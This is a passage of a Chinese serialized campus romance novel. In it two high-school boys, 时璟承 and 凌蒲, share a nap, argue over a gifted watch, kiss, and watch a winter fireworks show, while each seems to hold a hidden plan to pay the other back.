时璟承垂眸看了会儿,躺在另一边。 两人不再隔着一层被子,时璟承贴着床边,距离更远一些。 凌蒲独自躺了一会儿,不经意地朝旁边滚了滚,来到中央。 也侧过身,睁开眼,看着时璟承的侧脸,发色依然是像小时候一样乌黑,此刻散落在枕头上,露出清晰的五官。 眉毛颜色和头发一样,形状很漂亮,眉心微微皱着,让人想伸手按一下。 鼻梁高挺,线条清晰,十分赏心悦目。 凌蒲睁着眼睛一眨不眨,仔细观察。 “睡觉。”传来时璟承的声音。 “你也没睡着呀。”被抓包的凌蒲说道,“看你闭着眼睛。” 时璟承便也睁开眼,凌蒲发现他眼睛的颜色也和发色一样黑。 还没来得及细看,时璟承微微侧过一点角度,看着凌蒲。 “。” 凌蒲屏住呼吸,一动也不敢动,眼睛圆圆的。 “叶公好龙。”时璟承转回去,看着天花板。 “哪有。” 凌蒲小声辩解一句。 他窸窸窣窣地动了几下,侧身抱住时璟承的腰,把脸埋在时璟承肩膀上,一头柔软的头发蹭上时璟承的侧脸。 假装睡着。 体温隔着布料相接,在一片安静中触感被无限放大。 “凌蒲。” “嗯?” “你心跳很快。”时璟承说,“有点吵。” “不好意思。”凌蒲说。 他抬起胳膊准备翻身回去,被时璟承重新搂进怀里,轻轻拨弄了一下他的头发:“睡吧。” 午后的阳光被窗帘遮得严实,仅一两缕从缝隙间穿过,在地板上投下小小光斑,房间里能听清彼此清浅的呼吸声,以及不知是谁的心跳。 凌蒲觉得可能是自己的,真的有点吵。 他被时璟承揽着,鼻腔里萦绕着时璟承身上清朗的气息,不再是若有若无。而这个姿势也过于亲密了,超出之前任何一次试探。 时璟承的手指还停留在他的发间,有一下没一下地梳理着后脑勺翘起的头发。动作里带着一种难以言喻的安抚意味,仿佛一阵细小的电流。 凌蒲试图屏住呼吸,让自己的心跳和呼吸声都安静些,但往往是徒劳。 他感受到,和时璟承的距离在一点一点拉近,时璟承在渗透他的生活。 这让他有点不安,和时璟承的差距过大,从一开始就没有奢望别的,只是契机使然,遵循本能。 不知道时璟承会在什么时候选择甩掉他,自己又能否在他之前先发制人。 凌蒲不知不觉地进入梦乡,紧绷的身体渐渐放松下来,脸和眼睛在对方肩窝埋得更深了些,种种情绪都被温暖和安全感包裹。 时璟承睁开眼睛,垂眸看着凌蒲逐渐平稳的呼吸。 想把手从对方脑袋下抽出,但刚一动,凌蒲下意识收紧了抱他的手,像害怕被丢弃似的不想让他离开。 时璟承顿了顿,不再继续动作。 怀里的呼吸声重新变得绵长安稳,凌蒲的睡颜毫无防备,睫毛在眼睑下投下乖巧的阴影。 时璟承拨弄了一下,捏捏他的脸,凌蒲皱起眉头。 直到窗帘缝隙里透进来的光逐渐消失,窗外的光线逐渐变成暖橘色,凌蒲才迷迷糊糊地醒来。 他揉揉眼睛,发现自己还维持着睡前的姿势,整个人几乎缩在时璟承怀里。 而时璟承似乎一直没睡,一只手拿着本书在看。 凌蒲有点懵,抬起湿漉漉的眼神和时璟承对视。 “醒了?”时璟承问他。 凌蒲逐渐回神,手忙脚乱地爬起来,迅速和时璟承保持距离。又欲盖弥彰地看了眼时间:“天,都几点了?” “你不是说周末该用来睡觉的吗?”时璟承问他。 “是睡觉。但也不是这么个睡法。” 凌蒲匆匆道:“我得回家了。谢谢你的款待。” 他换了衣服,拔腿就跑,一边跑一边整理着衣服。 到家之后,脑海里还不断闪回着和时璟承有关的片段。 “最近忙什么呢儿子?”凌逸飞过来询问,“周末老不着家,又找到志趣相合的好朋友了?” “嗯。”凌蒲应一声。 “别和之前程益添似的啊,你俩在一起整天不做作业,净玩去了。” “没有。我作业都写完了。” 凌蒲把作业拿出来给凌逸飞看,竟然真的都完成了,让他爸刮目相看。 “还真近朱者赤了,有空带回来玩玩,让我们也见见这位优秀的同学。” “好吧,等有空。” 他拿出手机:“爸,昨天转给我的这笔压岁钱是给我自由支配了吗?” “当然。本来就是在我们这里暂存,不过你得花在正道上,不少钱呢。” 凌蒲看着手机里时璟承没有收的钱,回到房间里,头一回清点了自己的积蓄,深情凝视窗台上大金猪。 从三岁之后的钱都存在里面了,每次有钱的时候就会朝里塞一些。圆圆胖胖的大金猪,一直陪伴着凌蒲的成长 一会儿之后,大金猪获得了和当年小金猪同样的命运。 四脚朝天,肚子被掏得空空。 第100章 离时璟承的生日还有一段时间,凌蒲尚未想好要送个什么礼物,准备暗中观察。 等时璟承早上来上学,凌蒲便立刻侧过头,自以为隐蔽地把他从上到下打量一番。 身上穿着干净整洁的校服,书包上没有什么装饰,就连球鞋也并不张扬。看上去没有什么明显的个人好恶,琢磨不透。 凌蒲又把目光从下到上,瞥见手上那块表。 应该是全身上下唯一的装饰物。 他变得有些酸溜溜:“你的表真好看。” “喜欢?”时璟承摸了下,似乎想摘下来,不过意识到什么,又按回去。 “对你来说很珍贵吧。毕竟是别人送的。”凌蒲像吞了两颗酸梅。 时璟承倒没多在意:“谈不上。” “还嘴硬。”凌蒲撇撇嘴。 他都已经偷听到是小月亮送的,时璟承还在他面前假装。 手腕已经被占据,他再送也不会戴的,这个手腕都有了署名。 时璟承看着瞬间蔫巴下来的凌蒲,克制住在他脑袋上摸两下的冲动:“到时候把表送给你。” “不要。” 早自习一下课,困倦的凌蒲立刻趴在桌子上补觉。 而旁边的时璟承还在奋笔疾书,做着他的习题册。 凌蒲悄悄睁开眼睛,手指一点一点地朝时璟承靠近。 碰了一下时璟承按着书页的左手,又飞快收回。 见时璟承没反应,胆子大起来,手指头爬上时璟承的手背,拨弄了一下那块手表。 时璟承顿了顿,把手收回去。 凌蒲皱起眉头。 阳光洒在他侧脸上,清晰地照出蹙起的眉梢。 他扭过头,后脑勺朝着时璟承,脑后还支棱着几撮头发,显示早上起床的匆忙。 一上午凌蒲都不怎么搭理时璟承,单方面的。 等下午再上学的时候,远远地见时璟承来了,凌蒲也摸出习题册,假装专心于题海中,无暇抽身。 然而面前忽然多了个东西,只见时璟承把上午戴的表放在凌蒲桌上:“送你。” 凌蒲大吃一惊,看到时璟承腕上换了块差不多样式的表,他看不出太大区别。”你送给我?这不是小月亮送给你的吗?”凌蒲意外地端详着自己桌上这块手表。 “我戴她送我的表干什么?”时璟承莫名。 “那你为什么不让我碰?” 时璟承压了下自己手上的表:“不习惯。” “我不要你的表。” 凌蒲把表推回去,但是心情肉眼可见地愉悦起来,决定原谅时璟承。 一切心理活动都在时璟承不知道的地方悄悄上演,只能看到蔫巴的凌蒲重新滋润起来。 “上午就随便说说而已。”凌蒲把书本放在桌上,为下节课做准备。 “那小月亮送你的表你放在哪里了?”正襟危坐一会儿,他又状似不经意。 “家里。收起来了。” “哦。珍藏起来了。”凌蒲重新阴阳怪气。 时璟承隐蔽地捏了下他的脸:“对她这么好奇。” 凌蒲拒绝再说话。 默默坐回去,在自己的小心思里忧郁一下午。 放学也和对方撇清关系:“今天我有事。不和你去玩了。” “哦?什么事。” “我要去给一个人买礼物。”凌蒲故意说得很神秘。 “程益添?” “那又怎样。他也会把我的礼物珍藏起来的。” “呵呵。” “不过时璟承。”凌蒲问,“参考一下,如果你是程益添希望收到什么礼物。” “防晒喷雾。”时璟承随口道。”为什么?你又不黑。“”你那个益添可能需要,不然晚上有危险。“ “你怎么这样啊,程益添是小麦色皮肤好吗,超酷的。我之前也想晒成他那种,但是没有成功。”凌蒲反应了一下,不平道。 时璟承端详他一下:“幸好。” “你就对我们程益添有意见。” “呵呵。” “我说如果是你的话,想收到什么礼物?好像没发现你对什么感兴趣。” 凌蒲觉得时璟承身上带着一种物质生活被满足的无欲无求感,没有什么特别想要的。 时璟承盯着凌蒲。 凌蒲的脑门上冒出问号,时璟承在那之前挪开:“嗯。没有。” 凌蒲忧伤。 临近放学,眼看两人要分别,凌蒲磨磨蹭蹭地收拾书包,时璟承则坐在座位上写题。 时间仿佛在他们之间静止,直到整个教室几乎不剩什么人。 “要不回家给你看看我有多少手表?”时璟承开口。 “可以吧。”凌蒲矜持,“那我改天再去逛商场。” 凌蒲又被诱拐。 两人没有急着回家,而是先陪凌蒲去文具店买一块橡皮。 凌蒲的手里不知什么时候拿上一杯热气腾腾的玉米汁,在这个季节最合适,他把手暖了暖,放到时璟承的口袋里。 “这已经是不知道多少次买橡皮了,我的橡皮又不知道滚到哪里去了。”凌蒲欲盖弥彰地叽叽喳喳,”我之前校园卡也老丢,后来挂了个绳子就好多了。” 他在巷子里停下脚步,从口袋里摸出自己的校园卡,给时璟承看。 时璟承接过来,看到外壳套了个挺酷炫的图案,里面是凌蒲的个人证件照。 呆呆的,眼神和小时候如出一辙。 “喂。你怎么看别人照片啊。”凌蒲不满时璟承的擅自偷看行为,谴责。 时璟承摸了下凌蒲的脸:“不是长一样吗?“ “不一样。” 时璟承把凌蒲额前的碎发撩起来,露出一双明晰的眼睛。 他看了会儿,低头亲了亲凌蒲的眼睛。 凌蒲的眼睛”唰“地闭上,睫毛一颤一颤,眼皮薄薄的皮肤被柔软的唇吻了吻,他控制不住地皱了眉头,仰起头,和时璟承接吻。 无人的小巷很安静,时间进入冬天之后,白昼越来越短,现在的天色已然蒙蒙黑。 凌蒲攥着时璟承的校服领口,不让他很快离开。 本来打算依着自己的性子探索,但很快,就只剩招架的力气。 他陷入迷茫,不愿就这样结束,却也不知道接下来该怎么做,于是拖延着时间,有一下没一下地纠缠着。 直到时璟承在他耳边的呼吸变得有些重,手在他校服上摸索。 感受到有一点凉风钻进校服下摆,凌蒲一顿,迅速把时璟承推开,假装镇定:“走吧,买橡皮。” 时璟承直起身,对着若无其事的凌蒲磨了磨牙,但拿他没有办法。 凌蒲拉着时璟承:“请你去文具店消费。” 到了文具店,凌蒲大手一挥,买下同一款式四个橡皮。 拆开包装,分给时璟承一个。 “给你粉色的,我要蓝色的。”凌蒲在一包里面挑挑拣拣。 时璟承低头,倒是没什么意见的打算接过来。 但凌蒲想到时璟承酷炫的里里外外,最终还是收回了粉红色:“算了。给你个黑的。我用蓝色。” 他把剩下的揣进口袋。 又把自己的手揣进时璟承口袋,和他回去看表。 凌蒲实在是相当好奇,会怎样地将小月亮的表珍藏。 路上,百无聊赖的程益添给他发消息。 【益添:上这个破学真累,你最近怎么样?】 【/粽子:还可以】 凌蒲回忆最近,好像还真的挺快乐。 【益添:你的计划实行了吗?】 凌蒲指尖一顿,几乎都快遗忘。 他转头望望时璟承,既然等玩到手之后就会把他甩掉,那么打算什么时候把他玩到手。 时璟承真的还是全然在报复他吗。 带着有点复杂的心情,凌蒲敲敲打打,最后还是全部删掉,回复了个【计划顺利】。 和时璟承回家。 照例先收获一杯果汁,畅饮,跟着时璟承参观他的表。 “我去。这么多。” 房门一打开,凌蒲大开眼界。 只见一个玻璃柜里分出一块块小方格,和展览似的,罗列一排又一列的表,而且乍一看长得都差不多,几乎都是比较低调的黑色。 整个屋子里流淌着一种醇厚的木质香,几乎像是专柜。 “很多都是别人送的。”时璟承说。 凌蒲掩盖自己刘姥姥进大观园般的心情,不动声色地看了看,心想大家送礼的脑回路真是出奇的一致。 可能因为时璟承看上去实在没什么缺的。 “好吧。”凌蒲打消了送时璟承手表的念头,又状似不经意地问,”小月亮送的是哪块?” “那块不在这里面。” “嚄,你珍藏了是吧?挂在桌子上,每天抚摸一百遍。”凌蒲淡淡,隐隐地阴阳怪气。 时璟承捏了下他的脸:“她送的应该挺符合你的审美,卡通的。不对,只有你俩才知道是什么图案。” 回到屋子里,时璟承随手从抽屉里拿出一个盒子,里面就是个普通手表,表带上加了彩绘,还画着很多动画人物,里面还有好几个粽子的卡通图案。 当时白林玥出国前做手作,给每个朋友都送了礼物,她知道时璟承心结,送的时候祝他早点找到那个小骗子。 “你们真是互相挂念。”时璟承也学着凌蒲阴阳怪气。 凌蒲觉得今天自己确实有点越界,觑着时璟承眉眼,故技重施,打算亲一下哄他。 一步一步挪到时璟承坐的椅子前,放下手里的玉米汁,低下头。 生疏地向对方靠近,时璟承没有拒绝他的亲吻。 不过这回凌蒲心里有气,近乎报复似的偷偷咬一口,力道和角度没有控制好,牙齿在时璟承上唇刮了一下,出现一道小小的伤口。 时璟承轻轻“嘶”了一声,并没推开他。 凌蒲停下来,垂眸,看着那道红红的印子,似乎有点严重。 他一愣,僵住不动,半晌后,讨好般用舌头在伤口上轻轻舔了舔。 “对不起。”《 》 100-110 第101章 时璟承明晃晃地把伤口挂了好几天,主要是在上唇,也不是他能遮掩住的。 最先发现的是邵晚熠。 这天早上,三人难得在一起吃了顿早餐。 邵晚熠一身时髦夹克,给顾乾切了个爱心三明治,邀功似地摆在前面。 再随手把时璟承的普通版三明治推过去,连着餐具。 忽然目光一停,像是发现了什么不得了的事情,如炬的目光锁定在时璟承脸上。 时间有点长,时璟承不耐抬头:“变态?” “搞不好谁变态。”邵晚熠饶有趣味地看着时璟承。 “哥,他骚扰我。” 时璟承对顾乾说。 邵晚熠脸色一变:“你有病吧。” “又是借我电竞室又是敲门不开,还偷偷用我的爆米花机,”邵晚熠坐回去,拉开距离,“时璟承,看你装的道貌岸然两袖清风洁身自好,暗地里玩得这么花。” “没你玩得花。” “顾乾,他诽谤我。”邵晚熠也转向顾乾。 顾乾身穿黑色大衣,语气和气质都显冷淡:“都吃饭。” 他也抬头看了一眼时璟承,微微停顿一下。 主要时璟承上唇那道伤口近看实在显眼,配上这张英俊无暇的脸,被邵晚熠这么一说,属实是带着暧昧的印记。”高中生。注意影响。“顾乾欲言又止了一下,还是说了。 邵晚熠一副幸灾乐祸的样子,在旁边看热闹。 “心里纯净看什么都是纯净的。”时璟承说,“就像我小时候,每次你们说什么信什么。” 一句话让顾乾和邵晚熠纷纷哑火,暂时揭过不提此事。 “明天立冬,不少地方晚上放烟火,你去不去?”邵晚熠问时璟承。 看起来和顾乾已经安排好了,时璟承知趣道:“不去了,无聊。” “不去正好,我和你哥去。” 顾乾不置可否,只提醒时璟承:“你外公那边,有空打个电话过去。还是让你出国读书的事情。” “没有必要。”时璟承拧起眉头,“很忙。” 邵晚熠笑笑:“每次吃个饭我俩就像和你汇报工作似的,你这小子什么时候能别这么装。” “等你别再把给我哥摆完爱心摆盘的边角料放在我的盘子里的时候。” 时璟承叉起被切成一半的番茄。 * “凌蒲,秋衣秋裤穿上,今天降温了。” 钱芷的声音将凌蒲从温暖的被窝里唤醒,在小小的房间里回荡。 凌蒲翻了个身,望着外面起雾的窗户,重新闭上眼睛,不愿醒来。 钱芷已经把一套厚厚的衣服丢到他床上:“之前都随你胡乱穿。今天大降温,记得穿在里面。” “不要。”凌蒲拒绝,“这个秋衣也太幼稚了,有损我的形象。” “你还形象上了。到时候冻得一把鼻涕一把泪,哪里有什么形象。” 凌蒲拿起来看着上面的小熊图案,皱皱眉。放在t恤上很好看,但不能作为缩小的印花印在秋衣秋裤上。 今时不同往日,他的魅力值不能下降,不然靠什么留住时璟承。 “凌逸飞,你儿子不想穿秋裤。”钱芷把凌蒲这个烫手山芋丢给凌逸飞。 凌逸飞问询而来,对症下药,稍稍开了点窗户。 外面的冷风“呼呼呼”地灌进来,凌蒲躲进被子里,露出一撮头发示意投降:“我穿。快把窗户关上。” 好在校服外套足够宽松,即使在里面穿了不少,看上去依然不显臃肿,凌蒲对着镜子照了照,揣兜,觉得风采丝毫不减。 最后再围上一条浅咖色围巾,出门都感受不到寒冷。 凌蒲走在路上,已经完全忘了刚刚的形象要求,恨不得再多裹一圈。 来到教室才好一些,他解下围巾,搓了搓脸。 “时璟承,今天你来这么早。” 凌蒲打招呼,目光不由自主地滑到时璟承上唇,上面那道伤口和昨天比颜色暗了不少,但一眼就能看到,回溯那天的场景。 他耳朵微微发红,不知是冻的还是热的:“还疼吗?” “嗯?” “就不小心咬的那里。”凌蒲把声音压得很低很低,用语也隐晦。 “好了。”时璟承说。 看着周围人来人往的同学,对凌蒲的大胆感到意外。 “那就好。”凌蒲点点头,拉开书包拉链,朝外掏书。 不一会儿功夫,他们这边的窗户忽然被人从外面敲了下。 只见成深野一身国际校服,打着哈欠:“时璟承,晚上南公园放烟花,去玩呗?” “无趣。”时璟承拒绝。 “那还无趣?听说今年规模很大,各种各样的都有,结束之后还配合灯光秀呢。”成深野力邀。 时璟承似乎还是不太感兴趣,不过和他一座之隔的凌蒲眼睛明亮,望着成深野。 成深野朝他打了个响指:“粽,和Dexter哥哥去玩不?” “可以啊。”凌蒲迫不及待。 时璟承拧眉。 “那太好了。给你介绍漂亮女生,你在我们那边人气相当高啊,之前还有人问我来着。”成深野半个身子探进来,“喜欢什么类型的女生?” “快要上早读了。” 不及凌蒲回答,时璟承便铁面无私地想要关窗。 “还有几分钟。你看好多人都没来呢。”成深野依旧兴趣不减。 “晚上见。” 时璟承草率地打发他。 “你也去?那说好了,一言为定。” 终于送走了成深野,时璟承转头看着凌蒲期待的神色,语气不虞:“你喜欢什么类型的女生?” 带点质问的语气让凌蒲莫名,也反问:“你喜欢什么类型的?” 时璟承没有说话。 “还是你来者不拒。只要好看就行。”凌蒲学着时璟承轻轻挑眉,“混乱。” 似乎想让自己看上去比较有气势,但就像一只虚张声势的猫。 “那不是你吗?看到漂亮的就走不动道。从小就这样。” “我这么肤浅?” “你提出来玩我不就是冲着我这张脸?”时璟承做了一遍正版挑眉。 凌蒲没有想到时璟承会说这样的话,有点生气地抬起头,看到时璟承英俊的眉目压下一点,嘴唇不耐地轻抿,还有下颌线到脖颈处明晰的线条,又不自觉地目光飘忽。 不可否认,真是长在他审美上。 时璟承见他这样,把书重重一翻,提笔做题。 留给凌蒲一个利落的侧影。 凌蒲默默回转,心不在焉地拿出语文课文,直视前方。 反应过来时,已经背诵了好一会儿。 两人一上午都没有再说话,中午吃饭时,凌蒲很有骨气地要去吃难吃的食堂,被时璟承阻拦。 “做都做了,不吃浪费。”时璟承冷道。 “我就不吃。你找别人吃。” “行。” “你找谁吃?” “喂流浪猫狗。” 凌蒲望着几乎空空如也的走廊,被时璟承这么一耽搁,人山人海的大部队都已经跑完了,再去食堂也只能是排长队之后的残羹冷炙。 他兴致全无,冷冷地坐下:“你故意的时璟承,我不吃饭了。不饿。” 云淡风轻,坐直身子怒写习题,假装十二分投入,即使外面着火了都不会挪动分毫。 听到后门开了又关的声音,凌蒲挺直的腰背立刻失去力气。立刻丢开笔,在书包里翻翻找找,终于拿出一袋救命的巧克力饼干。 自从被时璟承投喂之后,凌蒲带的小零食都变少了。 还是得靠自己。 凌蒲悲愤地咬一口饼干,在心中暗自提醒,明天就把书包装满救济粮。 巧克力饼干吃得正欢,忽然感到身后似乎有细微的响动,立刻停住不动。 缓缓转过头,对上时璟承的视线。 时璟承气定神闲地抱臂,倚在后门旁边,显然将凌蒲刚刚的动作尽收眼底。 凌蒲希望现在自己不是处于满嘴巧克力的状态,这样他就能和时璟承理直气壮地对视,然而现在满脑子都要想嘴唇上到底有没有粘巧克力或者饼干碎屑,变得气势全无。 “走吧。去吃饭。” 时璟承假装没有看到,给了凌蒲一个台阶。 凌蒲用纸巾擦擦嘴,顺着台阶走下去。 来到熟悉的车前,时璟承替凌蒲拉开车门,忽然一愣。 只见后座上摆放一小束淡色玫瑰,就那么安静搁着,等待需要它的人。 他深吸一口气,问司机:“陈叔,是不是邵晚熠干的?” 司机笑道:“是邵总要放的,说会有用。我也不知道是什么意思” 凌蒲在后面全然不知道发生了什么,坐进来一看,才发现那几朵暧昧的鲜花。 “呦,谁送给你的。”他淡淡地对时璟承说道,“我还是不要出现在这里了。” “邵晚熠送的。” 凌蒲被这句话留住。 “为什么?送给你的吗?”他的神色变幻莫测。 时璟承在他脑袋上敲了下:“被狗咬了,他看到了。” 凌蒲的目光对着时璟承上下打量,因为实在是一丝不苟,所以很轻易地就发现了上唇那道明显的伤口。 他哑口无言,不再多说什么,安静如鸡地享用自己那份食物。 “你说了吗?” “没有。” “对不起。” 半晌后,凌蒲说道。 “原来你以前都没被发现过,怪不得你做事那么小心。下次不会留下痕迹了。” “下次是什么时候?” 凌蒲忽然沉默,耳朵变得有些红。 回去的路上,他挨着时璟承的肩膀:“以后不要再用冷冷的语气和我说话,有点可怕。要给我台阶,这样我们才能友好地相处。” “尽量。” 两人重新回到教室,上完下午的课,不记仇的凌蒲已然把前面的事情忘记。 “快走吧,别让特儿等太久,外面这么冷。” “你还挺贴心。” “也不要阴阳怪气。”凌蒲补充。 “我正常说话就这样。心虚的人才会觉得阴阳怪气。” “好吧。” “” * 在校门口,凌蒲成功和成深野会和。 时璟承朝成深野身边看了看,挑眉。 太阳打西边出来了,身边竟然没带任何人。 “知道你要说什么。”成深野和时璟承已经挺默契,“有几个女生结伴去,到那里汇合。” 凌蒲幽幽看了时璟承一眼,时璟承回以疑问的眼神。 于是暂时三人结伴,凌蒲发现他总是无法和特儿站到一块,时璟承一直挡在中间。 但他和成深野话多点,一来一回都得隔着时璟承。 “你能让让不?”凌蒲皱眉,问时璟承。 成深野吃惊,没想到凌蒲敢这样对时璟承说话。 在他眼里,凌蒲依然如同时璟承砧板上的鱼和肉,任人宰割。 “不能。”时璟承拒绝,把凌蒲的帽子扣上,手腕顺势偏转一些角度,让凌蒲的脑袋朝向旁边的糖葫芦摊子。 个个红艳艳的糖葫芦插在玻璃柜里,山楂的和草莓的应有尽有,糖衣看起来裹得很均匀,闪闪发亮。 凌蒲注意力果然被吸引,一边摸手机一边走过去,仿佛被某种神秘力量吸引一般。 “吃哪个?”时璟承跟在身后问他,也摸手机。 “草莓的。” 凌蒲抢在最前面扫码付了款,大方地问时璟承和成深野:“你们吃不,请你们吃。” 成深野摇头不吃,时璟承也拿了个草莓的,对凌蒲说道:“我是独立的,不花你的钱。” 凌蒲知道时璟承在模仿自己,一时无话,状况外的成深野颇感奇怪。 一会儿奇怪时璟承的说话方式,一会儿奇怪时璟承怎么会吃草莓味的冰糖葫芦。 不过他没想那么多,很快就走到一旁按他的手机。 再回过头时,只见凌蒲手里原本地草莓糖葫芦已经吃完,现在正半推半就地吃时璟承的那个糖葫芦。 而时璟承从一开始就没动过,此刻手里只拿了个包装袋。 凌蒲两串糖葫芦下肚,又经过一个拐角,拿上了一包热气腾腾的板栗。 剥开一个,趁别人不注意,塞到时璟承嘴里。 “甜不甜?”他充满期待。 “嗯。”时璟承隐蔽地捏了下凌蒲的脸。 在冷空气中手感又是不一样的,温温热热而又软和,像一块刚出炉的鸡蛋糕。 天色黑得很早,公园广场上已经站了不少人,都在等待晚上的烟花秀。 成深野找到了他约好的那几个女生,聊了一会儿,向时璟承和凌蒲介绍。 几人对时璟承早有耳闻,可远观而不可亵玩,倒是都对看起来平易近人的凌蒲产生了兴趣。 其中一个卷头发的女生打趣:“帅哥的朋友都是帅哥。能不能加一下这位的联系方式?下回有空一起玩。” 凌蒲和上回跳蚤市场一样,本能地就去摸手机。 但他忽然感到时璟承的目光仿佛化作冰刀,让他的手有点不听使唤。 预感到如果现在加了,时璟承今天晚上都不会笑了。 “那个,还是算了吧。我手机有点没电了。”凌蒲不会说谎,这个拙劣的借口之后眼神有点飘忽。 又补上一句:“下次一定。” 卷发女生笑笑:“好啊,那等我们下次再有这样的缘分,你可一定要遵守诺言。” 她们带了呲花,热热闹闹地聚在一起玩。 时璟承对凌蒲皮笑肉不笑:“下次?你是个很随意的人。” “别给我下定义嘛。” 吃了冰糖葫芦和糖炒栗子的凌蒲心情很好,眼睛都带着笑意。他从袖子里伸出手拉拉时璟承,时璟承很好哄。 “你的手有点冰。”凌蒲发现了。 晚上的气温比白天更低,公园还临水,仿佛空气中自带冷冰冰的水汽。 凌蒲想了一下,把温暖的围巾从自己脖子上摘下来,戴在时璟承脖子上。 带着凌蒲体温的柔软围巾抵御了大半风寒。 凌蒲笑道:“和你的风格可能不太搭。但保暖要紧,我穿得多。” 他给自己拉上校服拉链,裹得严严实实。 周围的人越来越多,在嘈杂的环境里,凌蒲的眼睛很清晰。 时璟承的心软下来,拉着凌蒲:“找个人少点的地方。” “不管特儿了吗?”凌蒲回过头,发现成深野正玩呲花玩得不亦乐乎。 他皱皱眉头:“特儿怎么这样。时璟承,你平时也会这么玩吗?” “我不会。”时璟承说,“洁身自好。” 凌蒲因为时璟承这一句解释而原谅,不管真话假话,总是起到了安慰的作用。 他暂时沉浸在这一场梦境里,不知还能徜徉多久。 两人穿过人群,来到较稀疏的一侧,背后临近马路。这里有大片大片的衰草,半人多高,不知是不是芦苇。 凌蒲把栗子咬在嘴里,正要朝时璟承靠近,忽然目光停留在对方身后。 迅速拉着时璟承蹲下。 “怎么了?”时璟承不解。 “我看到你哥和邵哥了。”凌蒲把栗子嚼嚼嚼,紧张而神秘道,“刚下车。” 主要邵晚熠和顾乾身形条件优越,凌蒲不会认错。 “他俩会不会朝这边来?” 凌蒲猫着身子,借面前的草隐蔽自己,有些紧张地问时璟承。 时璟承看他这样,很轻地笑了声:“我不知道。万一来了怎么办。” “那我们就拔腿跑。”凌蒲左右看看,“你说是藏在草里更好还是跳进湖里。” “你跳湖里,我躲在草里。” 凌蒲皱眉:“你怎么这样啊时璟承。大难临头各自飞,真靠不住。” “看来不傻。”时璟承碰碰他的脸。 凌蒲回过头,不满地看着时璟承。 “他们不会下来的,顾乾不喜欢被认出来。”时璟承不再逗凌蒲,“看到也没事。” 他扳过凌蒲的脸,蜻蜓点水般在脸上亲了一下。 在室外久了,变得有些冰。也可能是和嘴唇的温度比较,相对之下皮肤的温度更低。 凌蒲愣愣的,看着时璟承重新恢复平静的眼神,仿佛刚才的温柔是一种错觉。 他抬起手表:“几点放烟花?” “不知道。” 两人没有一个关心烟花到底是什么时候。 “我们去买个烤红薯吧。”凌蒲总是对有食物的地方印象深刻,“他们走了吗?” 时璟承先站起身,扫了一眼:“看不到的。” 凌蒲放心下来,伸手:“拉一把。都麻了。” 时璟承把他朝自己这个方向带了一把,让凌蒲栽进怀里。 摸起来全是衣服布料,看来确实穿得不少。 前往红薯摊,凌蒲顺利得到了一个流心红薯,专注地啃着。 又和成深野遇见。 成深野笑道:“凌蒲挺丰富啊。冰糖葫芦,糖炒栗子,还有红薯都吃到了。” 他趁着凌蒲专注,偷偷和时璟承说话。 “你的计划是打算把他喂成个胖子吗?” 时璟承一顿,道:“我有我的节奏。慢慢想,人又跑不了。” “是啊。十几年的血海深仇,还以为你就这么放下了。不过凌蒲看起来确实不坏,当年会不会有点误会。” “不会。”时璟承斩钉截铁。 成深野便不再说什么,时璟承依然是他心目中的时璟承。 再看向凌蒲的眼神仿佛他是个喂饱自己的小羔羊,不知道秋后即将被宰。 “大家都可关心这事儿呢。”成深野说,“小月亮听说找到凌蒲,专程要在圣诞假期回国围观。” “闲的。”时璟承评价。 前面凌蒲已经把烤红薯的流心吃完,摊着手朝时璟承要纸。 时璟承从口袋里拿出纸巾,垂眸给凌蒲擦手。 成深野看着,总感觉哪里不太对。 “你们说什么呢?”凌蒲问道。 “噢噢。”成深野回神,“说小月亮快回国了。” 凌蒲的笑容停滞在脸上,不再说话,低头看着时璟承给他擦手。 “什么时候啊?”他状似不经意地问。 “可能还有一个多月左右吧。” “知道了。” 整点的钟声响起,烟花在空中绽放,五彩斑斓的末梢带着金色的光辉,划破夜空,迸溅出夺目的光彩。 然而却又转瞬即逝,仅在黑暗的空中留下一缕若有若无的烟雾,消散而去。 凌蒲微仰着头,看着烟花,把时璟承的衣角拽得更紧些。 第102章 在满天绚烂的烟花里,时璟承看了看凌蒲脸上茫然多过兴奋的表情,稍稍俯身:“怎么了?” 凌蒲没有说话,转头看着时璟承的侧脸,在烟花中轮廓或明或暗,火光一会儿把整张脸映亮,一会儿又暗下去。 帅气得像海报。 他有些不安地贴时璟承更近一些,觉得一切实在是太美好。 美好得让人有些不安。仿佛一切灿烂都会转瞬即逝,留下抓不住的几缕淡烟。 在凌蒲平淡而幸福的人生中,就如同儿时那场已经记不清的电视节目一样,这些错位似乎都会被拨乱反正。 他安静地抱着红薯朝回走,牵着时璟承的衣服角。 时璟承察觉到他的情绪。在人群里握住凌蒲的手。 这只手上还带着烤红薯的余温,热乎乎的。 来到僻静处,时璟承再次轻声问:“怎么了凌蒲?” 凌蒲摇摇头,发丝安静地垂落在眉目上,脸颊弧度因为低头而堆起一点。 “再给你买杯奶茶吧。是不是吃渴了。”时璟承摸出手机。 一会儿功夫,就把一杯热气腾腾的奶茶塞到凌蒲的手里,拿过他快要吃完的烤红薯,帮他拎着。 凌蒲愣愣地看了时璟承,被对方承拉着,送回家。 下车之后对一切感到茫然而陌生,愣着站了会儿,忽然发现原来是又被送到隔壁小区。 “” 默默步行,在寂静的路灯里回到家,灯光把他的身影拉长,手里奶茶的余温在逐渐消逝。 钱芷和凌逸飞正在沙发上看电视,听到他回来,问道。 “儿子今天去哪玩了?”凌逸飞问。 “看烟花了。”凌蒲一边换鞋一边回答。 钱芷打趣:“还是我们凌蒲生活丰富,下回我和你爸也去看。烟花好不好看,吃什么好吃的了?” “还可以。”凌蒲细数,“吃了冰糖葫芦,糖炒栗子,烤红薯,还喝了奶茶。” 钱芷和凌逸飞都笑起来:“我俩还担心你玩到这么晚会不会饿着,看来是多虑了。” “明天我们一家三口和我几个同事出去自驾。”凌逸飞说,“你收拾一下,去你小时候最爱去的那个景区。每次去都要捡一堆石头回来。” “爸,那是好久之前的事了吧。” “好像不到一年前我们仨去了一次,你还蹲那捡了半天。” “” “再说吧。”凌蒲敷衍。 坐到桌前,收到时璟承的消息。 【时璟承:到了吗?】 【/粽:到了。】 【时璟承:明天打算干什么?】 凌蒲望着时璟承的头像,忽然不知道回什么。 好像默认两个人会见面,像陷在泡泡蜜罐里度过一天,日复一日,直到戛然而止。 他发现不知何时,自己的生活里时璟承的含量越来越高,这样不行。 和他们的关系不相符。 【/粽:明天我要和家里人出去玩】 凌蒲发过去。 那边祝他玩得愉快,并没有发现异常。 凌蒲有点淡淡的忧伤,望着天边的月亮发呆,托着脸,为数不多地失了眠。 第二天一早,被凌逸飞和钱芷带出去玩耍。 